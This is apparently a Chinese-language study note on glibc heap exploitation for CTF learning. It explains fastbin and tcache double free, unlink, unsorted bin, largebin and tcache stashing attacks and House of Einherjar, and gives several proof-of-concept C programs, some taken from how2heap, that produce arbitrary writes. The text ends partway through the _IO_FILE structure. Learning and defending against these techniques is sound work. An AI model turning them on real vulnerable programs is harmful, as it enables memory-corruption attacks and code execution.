Glibc堆学习及_IO_FILE利用

Static Lv2

UAF

free(p)之后未对指针p置空,可配合其他可利用因素进行攻击

fastbin

libc-2.31及之前

fastbin只会在放入fastbin时检查链表头指向的chunk是否double free,因此构造fastbin为p1->p2->p1,然后再将p1申请出来,更改p1的fd指针为我们想要修改的地址,此时fastbin为p2->p1->target,最后即可获得对应地址的写入权限。但是在这一过程中要注意的是target->size位置必须为这个fastbin链表的size,因为在申请时会进行检查。

libc-2.32以后

在2.32版本中,对tcach和fastbin都加入了保护机制,即对fd指针进行了异或加密

1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

ptr为next对应的地址,pos为当前堆块的地址

在放入对应链表时,会进行PROTECT_PTR(pos, ptr)操作,即抹去pos后三位信息然后与ptr异或,放入fd位置。由于异或加密的可逆性,解密时直接与pos >> 12异或就可以得到ptr。同时,在链表中只有一个chunk时,fd也会进行加密,而其next实际为0,因此会有fd = (pos >> 12) ^ 0,此时fd存储的就是堆块地址,我们可以通过这个机制泄露出堆地址,依然可以进行后续的利用。

tcache

libc-2.28及之前

在libc-2.28及之前tcache并不会检查double free,并且tcach不会检查size,我们可以直接free两次,申请一次,在fd写入target,再申请到target直接任意读写

libc-2.29到libc-2.31

libc-2.29中加入了对tcache的double free检查,具体是在tcache_entry中加入了一个key,在chunk中体现为bk位置修改为key,当chunk被放入tcache时检查bk位置是否存在key,若存在就报错double free。如果我们可以修改chunk的bk位置,那么就可以清空key而绕过检查,仍旧很容易利用。

同时,我们可利用fastbin double free配合tcache,具体利用方法是:先malloc九次,然后free七个chunk,这时tcache被填满p6->p5->p4->p3->p2->p1->p0,再free剩下的两个chunk,这时chunk会在fastbin里面p8->p7,再free掉p7,fastbin内变成p7->p8->p7,这时malloc七次清空tcache,再次将p7malloc出来时,由于tcache stash(简单来说就是,在从fastbin和small bin中取chunk的时候,会尽可能的把剩余的其他chunk也一起放入tcache bin中)机制,剩下的会被放入tcache中p8->p7。由于我们刚刚拿到了p7指向的chunk,因此我们可以修改其fd位置为target,然后tcache中就变成了p8->p7->target,然后就可以直接利用了。

libc-2.32以后

与fastbin在libc-2.32以后新增的保护相同,利用方式参照其即可。

要注意的是:在利用时要保持要利用位置的tcache_counts > 0,这是因为存在保护assert (tcache->counts[tc_idx] > 0);,这个保护似乎从libc-2.27开始一直存在于tcache中

unlink漏洞存在于含有双向链表的bin中,在我们对chunk进行精心的内存布局后,可以借助unlink操作来达到修改指针的效果。

古老的unlink检查比较少,利用起来也相对容易,但对当前学习没有太大价值,因此我们直接看当前的unlink机制就行。

在最新的glibc2.37下,unlink_chunk函数(似乎一直以来都没变过,只是把原来的宏换成了函数)如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p))) //检查 p->size == p->next->presize
malloc_printerr ("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) //检查确保 p 在链中
malloc_printerr ("corrupted double-linked list");

fd->bk = bk; //使 p 脱链,由 bk->p->fd 变为 bk->fd
bk->fd = fd;
//以下都属于largebin的unlink处理
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{ //判断是否在smallbin的范围内,并且fd_nextsize是否为空
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p) //判断链是否正确
malloc_printerr ("corrupted double-linked list (not small)");

if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p) //若p是唯一结点
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{ //正常双向链表删除元素
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else //更新 p 脱链后的 nextsize 指针
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}

以64位下为例,对于绕过方式,实际上也非常简单。由于它要求 p->fd->bk==p && p->bk->fd==p && p->size==p->next_chunk->pre_size,而对于size的伪造无需赘述,直接在可控堆块上伪造一个fake_chunk就行,同时修改后一个chunk的pre_size位,并且需要控制p->next_chunk->PRE_INUSE == 0,这样才能触发unlink。而我们伪造的重点就在p->fd->bk==p && p->bk->fd==p了,如果内存中存在一个指向p的指针,我们称之为target,那么我们就可以伪造p->fd=target-0x18 p->bk=target-0x10,从而绕过判断,在target位置写入target-0x18,在一定条件下可实现任意写。

一个简单的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include<stdio.h>
#include<stdlib.h>

//验证高版本下的unlink漏洞
char* ChunkInfo[20]={0};

int main()
{
//填满tcache
for(int i = 0;i<11;i++)
ChunkInfo[i] = (char*)malloc(0x80);
for(int i = 0;i<7;i++)
free(ChunkInfo[i]);
printf("The tcache bin is full.\n");

//修改参数
*((long*)ChunkInfo[9]-2) = 0x80; //修改下一个chunk的presize位
*((long*)ChunkInfo[9]-1) = 0x90; //修改下一个chunk的pre_inuse位为0
*((long*)ChunkInfo[8]) = 0; //fake_chunk的presize位
*((long*)ChunkInfo[8]+1) = 0x81; //size位
*((long*)ChunkInfo[8]+2) = (long)(&ChunkInfo[8])-0x18; //fd位
*((long*)ChunkInfo[8]+3) = (long)(&ChunkInfo[8])-0x10; //bk位

printf("修改前target位置 %p\n", ChunkInfo[8]);
free(ChunkInfo[9]);
printf("修改后target位置 %p\n", ChunkInfo[8]);

return 0;
}

Unsorted bin attack

这是一个比较古老的攻击技巧,从glibc-2.29开始,因为保护机制的增多,已经基本失效。而且这个攻击方式仅可作为辅助利用,攻击效果就是在任意位置写入一个不可控的大值。

glibc-2.27及以前检查部分:

1
2
3
4
5
6
7
8
9
10
11
12
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");
size = chunksize (victim);

再来看看实现写入的部分:

1
2
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

结合上面的bck = victim->bk,我们只要能修改victim的bk位为target-0x10,然后那么target位置就能被修改为unsorted_chunks (av)

glibc-2.28加入检测,需要在目标位置伪造fd:

1
2
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");

具体利用的POC可以看看how2heap仓库的 unsorted_bin_attack.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>

int main() {
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large "
"unsigned long value into stack\n");
fprintf(
stderr,
"In practice, unsorted bin attack is generally prepared for further "
"attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long target_var = 0;
fprintf(stderr,
"Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);

unsigned long *p = malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",
p);
fprintf(stderr, "And allocate another normal chunk in order to avoid "
"consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the "
"unsorted bin with its bk pointer "
"point to %p\n",
(void *)p[1]);

/*------------VULNERABILITY-----------*/

p[1] = (unsigned long)(&target_var - 2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the "
"victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits "
"machine, it should be target address-8):%p\n\n",
(void *)p[1]);

//------------------------------------

malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During "
"this time, target should has already been "
"rewrite:\n");
fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var);
}

ctf-wiki 已对其作出详细分析,鄙人不在此赘述,具体请看Unsorted Bin Attack - CTF Wiki (ctf-wiki.org)

glibc-2.29的检查部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
size = chunksize (victim);
mchunkptr next = chunk_at_offset (victim, size);

if (__glibc_unlikely (size <= 2 * SIZE_SZ)
|| __glibc_unlikely (size > av->system_mem))
malloc_printerr ("malloc(): invalid size (unsorted)");
if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
|| __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
malloc_printerr ("malloc(): invalid next size (unsorted)");
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

显然,它会检查很多条件,利用起来基本不可能。

Largebin attack

参考文章:[原创] CTF 中 glibc堆利用 及 IO_FILE 总结-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

Large Bin Attack - CTF Wiki (ctf-wiki.org)

libc-2.29及以前

攻击流程:向largebin中放入一个chunkA,修改其bk位为target1-0x10,bk_nextsize位为target2-0x20,此时再向largebin中加入一个大小略小于chunkA的chunkB。执行如下代码(victim即chunkB,fwd即chunkA):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[...]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
[...]
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

经过这些代码,赋值操作为chunkA->bk_nextsize->fd_nextsize = chunkBchunkA->bk->fd = chunkB。因此target1和target2均会被赋值为chunkB的地址,即赋值为大数。

how2heap给出的POC(在没有tcache的版本中实验):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <stdio.h>
#include <stdlib.h>

int main()
{
fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n");
fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x320);
fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the first large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p2 = malloc(0x400);
fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
" the second large chunk during the free()\n\n");
malloc(0x20);

unsigned long *p3 = malloc(0x400);
fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);

fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
" the third large chunk during the free()\n\n");
malloc(0x20);

free(p1);
free(p2);
fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n",
(void *)(p2 - 2), (void *)(p2[0]));

void* p4 = malloc(0x90);
fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
" freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
" [ %p ]\n\n",
(void *)((char *)p1 + 0x90));

free(p3);
fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:"
" [ %p <--> %p ]\n\n",
(void *)(p3 - 2), (void *)(p3[0]));

//------------VULNERABILITY-----------

fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
" as well as its \"bk\" and \"bk_nextsize\" pointers\n");
fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
" at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
" \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

//------------------------------------

malloc(0x90);

fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
" During this time, targets should have already been rewritten:\n");

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

return 0;
}

libc-2.30以后

在libc-2.30中加入了一些检查,封堵了常规largebin attack的方法。

当向largebin中加入的chunkB略大于chunkA时,存在检查:

1
2
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
1
2
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");

基本已经不可利用

而向largebin中加入的chunkB略小于chunkA时,仍然可以利用,分支代码逻辑为:

1
2
3
4
5
6
7
8
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize; // 1
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // 2
}

在执行该代码时,victim为chunkB,largebin中仅有chunkA一个堆块,我们可以通过某些漏洞修改chunkA的数据段为p64(0)*3+p64(target-0x20)。此时fwd和bck均为largebin_list头部,而bck/fwd->bk/fd就指向chunkA。结合1,2,就有如下赋值操作chunkA->bk_nextsize->fd_nextsize = chunkB。即此时target会被赋值为chunkB的地址

如果后续需要接着从largebin中申请的话,就需要还原这些指针了。注意到chunkB->bk_nextsize = target-0x20,因此当我们从largebin中申请出chunkB时,由于如下代码,target位置会被写入chunkA的地址:

1
2
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;

再尝试通过UAF等漏洞修复chunkA的指针,即可再次取出chunkA进行接下来的漏洞利用

参考文章:https://bbs.kanxue.com/thread-275302.htm#msg_header_h2_4

顾名思义,这个攻击方式和tcache的tcache stash机制联系紧密,使用范围为libc-2.29+

攻击条件

  • 程序可越过tcache取堆块,即使用calloc取堆块
  • 可泄露堆地址(需要泄露fd,能还原fd,攻击才能正常实施)
  • 可申请大堆块
  • 可修改到chunk的bk位

攻击效果

可在任意位置写入一个libc值

攻击方法

攻击方法:先向tcache中填入堆块,不能填满。然后向smallbin中加入与tcache中堆块大小一致的两个堆块(设先加入的为A,后加入的为B),修改后B堆块的bk位为 目标位置-0x10,然后从smallbin中申请堆块,A会被申请出去(脱链时会进行双向完整性检查,因此不能修改B的fd位(bck->fd = victim && fwd->bk = victim)),之后由于tcache stash机制,执行如下代码,完成写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin; //此时bk+0x10位置被写入bin
tcache_put (tc_victim, tc_idx);
}
}

简单POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

int main()
{
for(int i = 0; i < 6; i++) //填入tcache
free(calloc(1, 0x60));
printf("The 0x70-tcache has 6 chunks!\n");
sleep(1);

char* p1 = calloc(1, 0x500); //申请大堆块
calloc(1, 0x70); //申请堆块,防止p1与top chunk合并
free(p1); //p1进入unsorted bin
p1 = calloc(1, 0x500-0x70); //切割剩下0x70大小
calloc(1, 0x100); //将剩下的0x70大小的堆块放入smallbin中
printf("The small-bin now has a 0x70-length chunk!\n");
sleep(1);

char* p2 = calloc(1, 0x500);
calloc(1, 0x70);
free(p2);
p2 = calloc(1, 0x500-0x70);
calloc(1, 0x100);
printf("The small-bin now has two 0x70-length chunks!\n");
sleep(1);
//此时smallbin中存在两个chunk

long heapbase = ((long)p1>>12)<<12;
*(long*)((char*)p2+0x4a8) = heapbase-0x10; //修改第二个进入smallbin的chunk的bk位
printf("In smallbin the second chunk's bk loc has been modified to %p!\n", (long*)*(long*)((char*)p2+0x4a8));
sleep(1);
printf("The target %p will be modified!\n", (long*)heapbase);
sleep(1);

calloc(1, 0x60); //申请一个smallbin中的chunk,并触发tcache_stash
printf("attack success!\ntarget modified: %p\n", (long *)*(long*)heapbase);

return 0;
}

PLUS

plus实际上就是在上述攻击的基础上继续进行一次tcache stash,将伪造堆块放入tcache,后续直接申请该chunk,实现任意地址写。

简单步骤:先向tcache中填入5个chunk,然后给smallbin放入2个与对应tcache大小一致的chunk,然后伪造第二个chunk的bk位为某一地址,该地址需要满足它的位置存储的地址可写,因为需要进行bck->fd = bin;,在calloc申请一次后,会将伪造的地址所指向的地址填充到tcache中,只需再malloc一次,即可申请到对应地址。

简单POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include<malloc.h>

int main()
{
for(int i = 0; i < 5; i++) //填入tcache
free(calloc(1, 0x60));
printf("The 0x70-tcache has 5 chunks!\n");
sleep(1);

char* p1 = calloc(1, 0x500); //申请大堆块
calloc(1, 0x70); //申请堆块,防止p1与top chunk合并
free(p1); //p1进入unsorted bin
p1 = calloc(1, 0x500-0x70); //切割剩下0x70大小
calloc(1, 0x100); //将剩下的0x70大小的堆块放入smallbin中
printf("The small-bin now has a 0x70-length chunk!\n");
sleep(1);

char* p2 = calloc(1, 0x500);
calloc(1, 0x70);
free(p2);
p2 = calloc(1, 0x500-0x70);
calloc(1, 0x100);
printf("The small-bin now has two 0x70-length chunk!\n");
sleep(1);
//此时smallbin中存在两个chunk

long heapbase = ((long)p1>>12)<<12;
long main_arena = *(long*)((char*)p1+0x4a0)-192;
long target = main_arena+0x70;
*(long*)((char*)p2+0x4a8) = target-0x10; //修改第二个进入smallbin的chunk的bk位
printf("In smallbin the second chunk's bk loc has been modified to %p!\n", (long*)*(long*)((char*)p2+0x4a8));
sleep(1);
printf("The target %p will be modified!\n", (long*)target);
sleep(1);

calloc(1, 0x60); //申请一个smallbin中的chunk,并触发tcache_stash
printf("Attack success!\ntarget modified: %p\n", (long *)*(long*)target);
long* p3 = malloc(0x60);
printf("Now we can write memory in libc.\nGet address: %p.\n", (long*)p3);

return 0;
}

House of einherjar

该方法比较简单,基本原理和chunk extend比较类似,但是威力十分强大。

基本利用方法为滥用free()函数的后向合并功能,我们只需要伪造待free的chunk的presize位以及PREV_INUSE即可,然后执行free。可以看看how2heap上的例子(本例版本为libc-2.32):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

int main()
{
/*
* This modification to The House of Enherjar works with the tcache-option enabled on glibc-2.32.
* The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().
* It has the additional requirement of a heap leak.
*
* After filling the tcache list to bypass the restriction of consolidating with a fake chunk,
* we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.
* The following restriction for normal bins won't allow us to create chunks bigger than the memory
* allocated from the system in this arena:
*
* https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */

setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to House of Einherjar 2!\n");
printf("Tested on Ubuntu 20.10 64bit (glibc-2.32).\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

printf("This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n");
printf("Next, we use tcache poisoning to hijack control flow.\n"
"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,"
"now tcache poisoning requires a heap leak.\n");

// prepare the target,
// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,
// it must be properly aligned.
intptr_t stack_var[0x10];
intptr_t *target = NULL;

// choose a properly aligned target address
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);
printf("\nThe address we want malloc() to return is %p.\n", (char *)target);

printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n");
intptr_t *a = malloc(0x38);

// create a fake chunk
printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");

a[0] = 0; // prev_size (Not Used)
a[1] = 0x60; // size
a[2] = (size_t) a; // fwd
a[3] = (size_t) a; // bck

printf("Our fake chunk at %p looks like:\n", a);
printf("prev_size (not used): %#lx\n", a[0]);
printf("size: %#lx\n", a[1]);
printf("fwd: %#lx\n", a[2]);
printf("bck: %#lx\n", a[3]);

printf("\nWe allocate 0x28 bytes for 'b'.\n"
"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n"
"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n");
uint8_t *b = (uint8_t *) malloc(0x28);
printf("b: %p\n", b);

int real_b_size = malloc_usable_size(b);
printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);

/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
printf("\nWe allocate 0xf8 bytes for 'c'.\n");
uint8_t *c = (uint8_t *) malloc(0xf8);

printf("c: %p\n", c);

uint64_t* c_size_ptr = (uint64_t*)(c - 8);
// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit

printf("\nc.size: %#lx\n", *c_size_ptr);
printf("c.size is: (0x100) | prev_inuse = 0x101\n");

printf("We overflow 'b' with a single null byte into the metadata of 'c'\n");
// VULNERABILITY
b[real_b_size] = 0;
// VULNERABILITY
printf("c.size: %#lx\n", *c_size_ptr);

printf("It is easier if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");

// Write a fake prev_size to the end of b
printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size);
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;

// Change the fake chunk's size to reflect c's new prev_size
printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n");
a[1] = fake_size;

printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);

// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk
printf("\nFill tcache.\n");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
x[i] = malloc(0xf8);
}

printf("Fill up tcache list.\n");
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
free(x[i]);
}

printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n");
free(c);
printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);

printf("\nNow we can call malloc() and it will begin in our fake chunk\n");

intptr_t *d = malloc(0x158);
printf("Next malloc(0x158) is at %p\n", d);

// tcache poisoning
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n");
uint8_t *pad = malloc(0x28);
free(pad);

printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n");
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, pad);

printf("We overwrite b's fwd pointer using chunk 'd'\n");
// requires a heap leak because it assumes the address of d is known.
// since house of einherjar also requires a heap leak, we can simply just use it here.
d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);

// take target out
printf("Now we can cash out the target chunk.\n");
malloc(0x28);
intptr_t *e = malloc(0x28);
printf("\nThe new chunk is at %p\n", e);

// sanity check
assert(e == target);
printf("Got control on target/stack!\n\n");
}

我们来简单梳理一下上述代码的攻击步骤:

  • 首先创建chunk_a,在自身堆块中伪造一个presize=0, size=0x60,并且fd和bk均指向伪造的fake_chunk(为了绕过unlink检测)。
  • 再分配一个chunk_b,用来对后续堆块进行off-by-null写入,并为后续攻击做准备。
  • 分配chunk_c,该堆块大小为0x100,是为了在off-by-null修改时只修改PREV_INUSE位,而不改变size,以绕过对size的检查。
  • 计算chunk_c与fake_chunk的距离,并写入chunk_c的presize位。同时修改fake_chunk的size也为该值。
  • 填满0x100大小的tcache,保证chunk_c会进入unsortedbin进行后向合并。
  • 此时再释放chunk_c,与fake_chunk进行后向合并,分配一个较大堆块可以控制chunk_b内容,此时chunk_b还可以直接控制,在释放chunk_b之前,先释放一个pad,以供后续修改chunk_b的fd后申请到target绕过tcache_count.

经典例题:2016 Seccon tinypad(ctf-wiki中可找到题目文件)

IO_FILE attack

IO结构体

_IO_FILE_PLUS定义:

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

vtable是虚表指针,其指向的结构体如下,表中的每个函数会完成对应的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

_IO_FILE结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
struct _IO_FILE {
int _flags;
#define _IO_file_flags _flags

char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
